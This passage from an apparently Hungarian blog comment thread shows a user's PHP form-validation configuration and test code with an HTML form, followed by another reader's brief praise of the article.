			                        'rules' => array(
			                                        'required',
			                                        'string',
			                                        array('maxLength' => 10),
			                                        array('regExp' => '/[A-Z][a-z]+/')
			                                        )
			                                  ),
			                                  
			                 'email' => array(
			                        'rules' => array(
			                                        'required',
			                                        'email'
			                                         )
			                                 ),
			                                 
			                'message' => array(
			                           'default' => 'Nem toltottel ki...',
			                           'filters' => array(
			                                             'str_word_count'
			                                              )
			                                   )
			                    )
			       )

	   );
	   
	$va->set_params($_POST);
	if($va->validate())
	{
        echo "OKSA";
	}
	else 
	{
		echo "nem oksa";
	} 
	$_POST = $va->get_params();
	print_r($va->sErrors);
	print_r($_POST);   
a html (smartyzok aze' van kulon)

<form name=goform method="POST">
 topicID=<input type=text name=topicID><br>
 loginName<input type=text name=loginName><br>
 email=<input type=text name=email><br>
 message=<input type=text name=message><br>
 <input type=submit>
</form>
elore is kosz az epito jellegu hozzaszolasokat..
11

Nagyon hasznos cikk, grat.

bh · 2010. Feb. 18. (Cs), 11.06
Nagyon hasznos cikk, grat. Egy meglévő project-et írjunk teljesen az elejétől újra és ehhez is remek alapokat szolgáltat a cikk.